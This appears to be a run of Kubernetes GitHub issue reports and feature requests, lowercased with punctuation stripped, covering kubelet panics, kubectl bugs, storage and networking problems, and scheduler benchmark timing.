now we use k8s to run some distributed machine learning jobs written by python.\r some times the pod command or argument may be wrong format and the pod complete immediately.\r for instance, put command 'python train_cifar10.py --batch_size=128' instead of the correct format 'python train_cifar10.py --batch-size=128'. in such situation, pod completed immediately either. there would be no chance to execute \ kubec exec\  to do some debug things in the container.even the docker cli couldn't be able to restart the pod to reconstruct the container context.\r the example bellow is so simple that we don't need to resume the container. however, there is complicated circumstance such as lack some script files or data files caused running failure. the developers couldn't get enough information from container's stderr.\r so, could developers use 'kubectl exec' to attach pod which has already completed, especially in the dev environment? maybe we can add a special flag when we create the pod,  ensure these pods will live after entrypoint process exits. containers without the flag will exit as usual, after the  entrypoint process exits . \r it would be a great help for the engineer who developed apps on k8s cluster.

currently i generate  crd schema validation using a pipeline like below:\r    \r types.go --- openapi-gen  ---> openapi_generated.go --- crd-validation ---> crd.yaml\r    \r while this works, openapi-gen does not generate spec information for  enums  https://spacetelescope.github.io/understanding-json-schema/reference/generic.html enumerated-values  . we would like to see this supported.\r \r \r  1  crd-validation: https://github.com/ant31/crd-validation

https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-alpha\r \r broken by https://github.com/kubernetes/kubernetes/pull/64154\r \r    \r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : e0602 14:36:19.366284    1727 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /usr/local/go/src/runtime/asm_amd64.s:573\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /usr/local/go/src/runtime/panic.go:502\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /usr/local/go/src/runtime/panic.go:63\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /usr/local/go/src/runtime/signal_unix.go:388\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/volume/azure_dd/azure_dd.go:116\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:341\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:779\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:1117\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:1111\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:1099\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:324\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:73\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:362\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1367\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r jun 02 14:36:19 tmp-node-e2e-53507b65-cos-stable-63-10032-71-0 kubelet 1727 : /usr/local/go/src/runtime/asm_amd64.s:2361\r    \r \r /cc @msau42

 \r   what happened  :\r kubernetes v1.10 introduced a better rate limiting  when calling arm , however the error message here: https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_client.go l41 is misleading. the error is not  arm  but  cloud provider  rate limiter.   \r \r   what you expected to happen  :\r correct error message that clearly states  cloud provider \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i was trying to use  kubectl  to delete all pods from  kube-system  namespace with the command  kubectl delete pods -n kube-system --all , after execute the commands, the command hang at the last pod delation.\r \r   what you expected to happen  :\r \r the command should be finished.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r /area controller-manager \r   what would you like to be added  :\r don't resync statefulset in statefulset controller.\r   why is this needed  :\r there are 2000+ sts in my k8s cluster, thus when i create a new sts, it takes a lot of time to create it's pod, i found that every sts will cost 40ms to sync it, then 2000 sts will cost 80s, and there is also a statefulsetresyncperiod to resync all sts, i don't know why there need to have statefulsetresyncperiod to resync all sts?  can we not resync sts and just watch it's changes?

do we want to stop the creation of a storageclass with the \ is-default\  annotation, if one already exists on the cluster?    if i create multiple \ default\  storage classes        root@screeley-sc1 gce   kubectl get storageclass name            type                   isdefault another-class   kubernetes.io/gce-pd   no         generic1-slow   kubernetes.io/gce-pd   yes        generic2-fast   kubernetes.io/gce-pd   yes             and then try to submit a pvc, i get this error       root@screeley-sc1 gce   kubectl create -f gce-pvc-multidefault.yaml  error from server  forbidden : error when creating \ gce-pvc-multidefault.yaml\ : persistentvolumeclaims \ pvc-default\  is forbidden: internal error occurred: 2 default storageclasses were found      @kubernetes/sig-storage

from  46737.\r \r _ k8s.io  firewall rule should have correct firewall rules for e2e cluster_ is failing frequently in gce-multizone ci with below error:\r    \r i0602 08:29:07.640  jun  2 08:28:53.558: info: failed to get instance tags for bootstrap-e2e-gce-mz-minion-group-87c3: googleapi: error 404: the resource 'projects/k8s-jkns-e2e-gce-ubelite/zones/us-central1-a/instances/bootstrap-e2e-gce-mz-minion-group-87c3' was not found, notfound\r    \r \r the firewall e2e test isn't well written --- it doesn't expect instances to run in multiple zones so it always tries to get instances in the zone passed in by flag  --gce-zone  through ginko. but  --gce-zone  only passes in one of the zones, so firewall test will very likely fail when getting instances.\r \r  \r /assign

 \r \r   what happened  :\r  47789 didn't completely solve the problem.  aws error messages are formed with a \  in them, but are still printed with %v so they are interpreted.  the result is:\r \r e0705 01:58:36.269603   16962 nestedpendingoperations.go:262  operation for <vol> failed. no retries permitted until 2017-07-05 01:58:36.769575117 -0400 edt  durationbeforeretry 500ms . error: failed to attach volume <vol> on node <node> with: error attaching ebs volume <vol> to instance <instance>: incorrectstate: <vol> is not 'available'.\r \r status code: 400, request id: <request-id>\r \r   what you expected to happen  :\r e0705 01:58:36.269603   16962 nestedpendingoperations.go:262  operation for <vol> failed. no retries permitted until 2017-07-05 01:58:36.769575117 -0400 edt  durationbeforeretry 500ms . error: failed to attach volume <vol> on node <node> with: error attaching ebs volume <vol> to instance <instance>: incorrectstate: <vol> is not 'available'. status code: 400, request id: <request-id>\r \r   anything else we need to know?  :\r problem is that in \r pkg/volume/util/nestedpendingoperations/nestedpendingoperations.go\r \r the errors are still printed with %v instead of %q, so the \  in the log messages is being interpreted.\r \r there may be other places where this would come to light.\r \r @kubernetes/sig-aws-misc @justinsb

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r currently in start-up of kube-proxy, it does not validate the user input configuration. it is not so user-friendly that people will not realize the error config input.\r \r   what you expected to happen  :\r user cannot get an error message or log if an incorrect kube-proxy config was input.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add an incorrect config to kube-proxy's startup.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the benchmark result of scheduler_perf:\r    \r benchmarkscheduling100nodes0pods-32        \t    2000\t    799590 ns/op\r benchmarkscheduling100nodes1000pods-32     \t    2000\t    819407 ns/op\r benchmarkscheduling1000nodes0pods-32       \t       1\t2069659591 ns/op\r benchmarkscheduling1000nodes1000pods-32    \t       1\t2084131572 ns/op\r    \r the last two lines, ns/op were greater than 2 seconds, which i don't think it was right. in the code below, the total time of benchmark included performing  finalfunc    and  nodepreparer.cleanupnodes   , which stopped scheduler and apiserver , and cleaned nodes.\r    \r // benchmarkscheduling benchmarks scheduling rate with specific number of nodes\r // and specific number of pods already scheduled. since an operation takes relatively\r // long time, b.n should be small: 10 - 100.\r func benchmarkscheduling numnodes, numscheduledpods int, b  testing.b  {\r \tschedulerconfigfactory, finalfunc := mustsetupscheduler  \r \tdefer finalfunc  \r \tc := schedulerconfigfactory.getclient  \r \r \tnodepreparer := framework.newintegrationtestnodepreparer \r \t\tc,\r \t\t  testutils.counttostrategy{{count: numnodes, strategy: &testutils.trivialnodepreparestrategy{}}},\r \t\t\ scheduler-perf-\ ,\r \t \r \tif err := nodepreparer.preparenodes  ; err != nil {\r \t\tglog.fatalf \ %v\ , err \r \t}\r \tdefer nodepreparer.cleanupnodes  \r \r \tconfig := testutils.newtestpodcreatorconfig  \r \tconfig.addstrategy \ sched-test\ , numscheduledpods, testutils.newsimplewithcontrollercreatepodstrategy \ rc1\   \r \tpodcreator := testutils.newtestpodcreator c, config \r \tpodcreator.createpods  \r \r \tfor {\r \t\tscheduled, err := schedulerconfigfactory.getscheduledpodlister  .list labels.everything   \r \t\tif err != nil {\r \t\t\tglog.fatalf \ %v\ , err \r \t\t}\r \t\tif len scheduled  >= numscheduledpods {\r \t\t\tbreak\r \t\t}\r \t\ttime.sleep 1   time.second \r \t}\r \t// start benchmark\r \tb.resettimer  \r \tconfig = testutils.newtestpodcreatorconfig  \r \tconfig.addstrategy \ sched-test\ , b.n, testutils.newsimplewithcontrollercreatepodstrategy \ rc2\   \r \tpodcreator = testutils.newtestpodcreator c, config \r \tpodcreator.createpods  \r \tfor {\r \t\t// this can potentially affect performance of scheduler, since list   is done under mutex.\r \t\t// todo: setup watch on apiserver and wait until all pods scheduled.\r \t\tscheduled, err := schedulerconfigfactory.getscheduledpodlister  .list labels.everything   \r \t\tif err != nil {\r \t\t\tglog.fatalf \ %v\ , err \r \t\t}\r \t\tif len scheduled  >= numscheduledpods+b.n {\r \t\t\tbreak\r \t\t}\r \t\t// note: this might introduce slight deviation in accuracy of benchmark results.\r \t\t// since the total amount of time is relatively large, it might not be a concern.\r \t\ttime.sleep 100   time.millisecond \r \t}\r }\r    \r \r i added one line code to the end of this function as below:\r    \r  \t// the same as previous\r \tfor {\r \t\t// this can potentially affect performance of scheduler, since list   is done under mutex.\r \t\t// todo: setup watch on apiserver and wait until all pods scheduled.\r \t\tscheduled, err := schedulerconfigfactory.getscheduledpodlister  .list labels.everything   \r \t\tif err != nil {\r \t\t\tglog.fatalf \ %v\ , err \r \t\t}\r \t\tif len scheduled  >= numscheduledpods+b.n {\r \t\t\tbreak\r \t\t}\r \t\t// note: this might introduce slight deviation in accuracy of benchmark results.\r \t\t// since the total amount of time is relatively large, it might not be a concern.\r \t\ttime.sleep 100   time.millisecond \r \t}\r         b.stoptimer   // !!here!! it's the code i added.\r }\r    \r \r and i execute scheduler_perf again, the result is:\r    \r benchmarkscheduling100nodes0pods-32                 2000\t    692581 ns/op\r benchmarkscheduling100nodes1000pods-32     \t    2000\t    709281 ns/op\r benchmarkscheduling1000nodes0pods-32       \t     500\t   3536802 ns/op\r benchmarkscheduling1000nodes1000pods-32    \t     500\t   3335961 ns/op\r    \r in the last scenario, ns/op is about 3ms. \r \r is my change proper?\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.9.3\r - os  e.g. from /etc/os-release : centos 7.2.1511\r \r 

i am running \r kubectl port-forward service/servicename localport:remoteport --pod-running-timeout=5m\r on a newly created service.\r \r   expectation   : i would expect that the call would hang and \ wait\  till at least one pod is in running state till a period of 5 minutes and then attempt to port forward. if after 5 minutes, no pod is \ running\ , the call will fail.\r \r   observation   : the call returns almost immediately with the below error\r error: unable to forward port because pod is not running. current status=pending\r \r my understanding is that --pod-running-timeout is not working as expected\r \r   kubectl version output  : \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   repro   : an easy way to reproduce this would be on a clean cluster since i have noticed that the very first pod takes longer to reach \ running state\  than subsequent ones.

in order for vcp to verify sdk endpoint certificates, the vcenter server certificates must be signed by a known ca.  if a vcenter certificate signer is not trusted, the existing options are to either update the system ca bundle or set  insecure-flag = true  in the  --cloud-config  to disable vcenter certificate verification.\r \r the vcp should provide an optional  ca-file  configuration option, which can be used configure  tlsclientconfig.rootcas  via\r https://github.com/vmware/govmomi/blob/78f12ebf2ab43043db143254f94cedf79524f468/vim25/soap/client.go l189-l194\r \r the vcp should also provide an optional  thumbprint  configuration, which is per vcenter connection and does not require a ca file:\r https://github.com/vmware/govmomi/blob/78f12ebf2ab43043db143254f94cedf79524f468/vim25/soap/client.go l220-l226\r \r vcenter certificate thumbprints can be obtained using a web browser, the openssl cli or the  govc about.cert  command:\r https://github.com/vmware/govmomi/blob/master/govc/usage.md aboutcert\r \r the govmomi simulator provides access to the test server's thumbprint, which can be used in tests, for example:\r https://github.com/vmware/govmomi/blob/78f12ebf2ab43043db143254f94cedf79524f468/simulator/simulator_test.go l336-l351\r \r within the vcp tests against vcsim, insecureflag is currently set to  true :\r https://github.com/kubernetes/kubernetes/blob/65a819338a640faf6ddee9d6eea4559a20106c56/pkg/cloudprovider/providers/vsphere/vsphere_test.go l112\r \r we should add tests for both the  ca-file  and  thumbprint  options that adjust the configuration to test these options with  insecureflag = false .\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r  kubectl convert  version   v1.11.0   started to remove  .metadata.namespace  field from my manifests.\r \r   what you expected to happen  :\r \r keep  .metadata.namespace  as in previous versions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r first let me present the behaviour using kubectl v.1.10\r \r    yaml\r $ cat rq.yaml \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: compute-resources\r   namespace: kube-public       <<<< note that there is a namespace specified\r spec:\r   hard:\r     pods: 10\r $ kubectl-1.10.0 version --client\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ kubectl convert --filename=rq.yaml --output=yaml --local \r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: null\r   name: compute-resources\r   namespace: kube-public     <<< note that this field is still present\r spec:\r   hard:\r     pods: \ 10\ \r status: {}\r    \r \r now the new  kubectl  version\r    yaml\r $ kubectl version --client\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ kubectl convert --filename=rq.yaml --output=yaml --local \r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: null\r   name: compute-resources      <<< note that there is no .metadata.namespace field anymore\r spec:\r   hard:\r     pods: \ 10\ \r status: {}\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i visited https://kubernetes.io/docs/reference/kubectl/kubectl/\r \r i clicked on the link \ kubectl apply\ .\r \r it said:\r \r 404 page not found\r sorry, this page was not found. : \r \r   what you expected to happen  :\r \r i expected it to show me documentation on the \ kubectl apply\  command.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r @kubernetes/sig-docs-bugs\r

hi, it would be very helpful to have multiple readiness probes and bind services to a readiness probe. i'm proposing this in context of applications with leader/follower semantics, where it's useful to have two services, one for the leader and one for followers  eg. mysql asynchronous replication .\r \r podspec:\r    yaml\r ...\r readinessprobe:\r   - name: leader\r     httpget:\r         path: /leader-check\r   - name: follower\r     httpget:\r         path: /follower-check\r    \r \r leader servicespec:\r    yaml\r ...\r probeselector: leader\r    \r \r follower servicespec:\r    yaml\r ...\r probeselector: follower\r    \r \r @kubernetes/sig-network-feature-requests\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gce/gke multizone/regional jobs\r \r   which test s  are failing  :\r only pd tests\r \r   since when has it been failing  :\r around 12/21 with the 16:49 run\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-storage gce-multizone\r \r   reason for failure  :\r tbd\r \r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r 

we should also offer a pipe-to-sh solution for installing kubectl, which includes bash completion.   @kubernetes/kubectl

cluster e2e tests run against several different environments such as previous releases and gke.  we need to run against the same targets.  may tie in to  26212

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-serial-release-1.5/138/  failed:  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:124 expected error:     < errors.errorstring | 0xc4215261d0>: {         s: \ couldn't find 12 pods within 5m0s; last error: expected to find 12 pods but found only 11\ ,     }     couldn't find 12 pods within 5m0s; last error: expected to find 12 pods but found only 11 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:119       previous issues for this test:  26744  26929

in https://github.com/kubernetes/kubernetes/pull/45752 it was discovered that  update-staging-godeps.sh  generates different output depending on your local go version, rather than pinning the go version inside a docker build container.\r \r this makes it dangerous to run  update-all.sh  on a release branch, since you may have a different go version installed than the one on which the release branch is based.\r \r cc @caesarxuchao @sttts

\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r service. tolerateunreadyendpointsannotation.\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r ref: \r - https://github.com/kubernetes/kubernetes/issues/39363\r - https://github.com/kubernetes/kubernetes/issues/39207\r \r tolerateunreadyendpointsannotation, aka  service.alpha.kubernetes.io/tolerate-unready-endpoints  annotation key, provides useful mechanism to discover pods without relying on healthiness/readiness. this is very useful and heavily wanted for stateful apps.\r \r however, so far it is still alpha. what is the plan to make this beta?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r it seems that kubelet is ignoring flags that i have set.\r \r i have set kubelet flags  --runtime-request-timeout=10h  and  volume-stats-agg-period=10h . defaults are  --runtime-request-timeout=2m  and  volume-stats-agg-period=1m \r   what you expected to happen  :\r i expect  du -s  to be running every 10h and not getting killed if taking longer than 2m\r \r   how to reproduce it  as minimally and precisely as possible   :\r full command:\r    /usr/local/bin/kubelet --allow-privileged=true --cgroup-root=/ --cloud-provider=aws --cluster-dns=100.64.0.10 --cluster-domain=cluster.local --enable-debugging-handlers=true --eviction-hard=memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%,imagefs.available<10%,imagefs.inodesfree<5% --hostname-override=ip-172-29-41-36.ec2.internal --kubeconfig=/var/lib/kubelet/kubeconfig --network-plugin-mtu=9001 --network-plugin=kubenet --node-labels=kubernetes.io/role=node,node-role.kubernetes.io/node= --non-masquerade-cidr=100.64.0.0/10 --pod-infra-container-image=gcr.io/google_containers/pause-amd64:3.0 --pod-manifest-path=/etc/kubernetes/manifests --require-kubeconfig=true --runtime-request-timeout=10h --v=2 --volume-stats-agg-period=10h   \r \r   anything else we need to know?  :\r \r i have set kubelet flags  --runtime-request-timeout=10h  and  volume-stats-agg-period=10h . this is due to the fact that we have large containers  about 2gb in size  and running  du  on all of them takes up a lot of cpu and memory. i was trying to see if we could run volume stats less often and not have them time out after 2m  default for runtime-request-timeout \r \r when i look in  journalctl -ru kubelet.service  i see the following:\r \r  aug 15 19:56:18 ip-172-29-41-36 kubelet 1654 : i0815 19:56:18.611572    1654 fs.go:481  killing cmd  nice -n 19 du -s /var/lib/docker/overlay/9e583fdcb333aa38cc23798700e519b3c99b8eb4af21e5aa0b3aa5e7e6fddd85  due to timeout 2m0s  \r \r i also see that  du -s  is still running about every minute when running  top  and  ps \r \r   environment  :\r - kubernetes version  use  kubectl version  :  kubelet --version = kubernetes v1.7.0 \r - cloud provider or hardware configuration  : aws t2.medium boxes\r - os  e.g. from /etc/os-release :\r    pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :  linux ip-172-29-41-36 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux \r - install tools: kops\r - others:\r

when fixing a problem  in  51686 ,i notice that it is treated as already bound if  ip  returned 2 in  ensurevirtualserveraddressbind , but ref to the    manual  http://man7.org/linux/man-pages/man8/ip.8.html exit_status  and  source code  https://git.kernel.org/pub/scm/linux/kernel/git/shemminger/iproute2.git/tree/ip/ipaddress.c n2080  of ip , it just means an error was reported by the kernel, such as \ operation not permitted\ . \r \r i prefer to use  netlink  https://github.com/vishvananda/netlink  instead of  ip  command to manage ip address. if so,  we will know whether the ip are bound or unbound from the interface in a more accurate way.

 \r   what happened  :\r \r bootstrapped rbac role bindings incorrectly add duplicate subjects on server start.\r \r   what you expected to happen  :\r \r reconciliation should not add subjects that already exist.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r restart an api master multiple time.  see that bootstrap role bindings have duplicated subjects.\r \r   environment  :\r \r master: d2bbeb6665a21335d9c0cdbf0a36741978858d10\r \r xref openshift/origin 16611

use case: prometheus uses dns-sd for instance discovery  http://prometheus.io/docs/operating/configuration/ . to allow its use with kubernetes, all pods should be exposed in dns.  current state: currently kube2sky exposes only ip:port pairs of the services.  desired state: additional flag should allow kube2sky to expose the pods in the similar way:  $ host -t srv someservice.pod.kubernetes.local someservice.default.pod.kubernetes.local has srv record 10 100 80 9gvmk.someservice.default.pod.kubernetes.local. someservice.default.pod.kubernetes.local has srv record 10 100 80 akhj2.someservice.default.pod.kubernetes.local. someservice.default.pod.kubernetes.local has srv record 10 100 80 8sh3j.someservice.default.pod.kubernetes.local.

in our env, restart docker will caused kubelet and container restart.\r \r i start a pod with following pod yaml\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/psp: default\r   name: mybb-volume-mode\r   namespace: default\r spec:\r   containers:\r   - command:\r     - sleep\r     - \ 3600\ \r     image: ubuntu\r     imagepullpolicy: always\r     name: busybox\r     volumedevices:\r     - devicepath: /dev/vda\r       name: myclaim\r     securitycontext:\r       capabilities:\r         add:\r           - sys_admin\r   dnspolicy: clusterfirst\r   hostnetwork: true\r   restartpolicy: always\r   schedulername: default-scheduler\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   volumes:\r   - name: myclaim\r     persistentvolumeclaim:\r       claimname: pvc-raw-test\r    \r it use pvc's block volume mode and the device will be mapped to  /dev/vda  inside the container\r \r after i create the pod, everything is fine. i can see the device inside the container.\r but after i restart docker, as i mentioned, kubelet and all of the container will be restart.\r \r after all of the container up again. i find that i can't see dev  /dev/vda  inside the container.\r i inspect the container, and find that {\ hostconfig\ :{\ devices\ :   ,}} is empty. \r then i did some debug, and find that https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_pods.go l113 \r the volname is \ \  ,  so the  islinkexist  will be false. \r it should be caused by volume spec not have name at : https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/rbd/rbd.go l425\r pr for this issue is: https://github.com/kubernetes/kubernetes/pull/64555\r \r \r this issue can be reproduced by following steps:\r 1. container is up, you can see the rbd block device inside your container\r 2. restart kubelet\r 3. kill the container\r 4. wait for the container restart and then you can't see the rbd block device inside your container

 \r   what happened  :\r \r when getting nodes or pods using the command  kubectl get pods   kubectl get pods , the following output appears:\r \r    \r no resources found.\r error from server  notacceptable : unknown  get nodes \r    \r    \r no resources found.\r error from server  notacceptable : unknown  get pods \r    \r \r   what you expected to happen  :\r \r when running the command,  kubectl get pods/nodes  , with kubectl version 1.11.0, pods/nodes appear.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run  kubectl get pods  using kubectl 1.11.0\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r - kernel:\r \r    \r linux 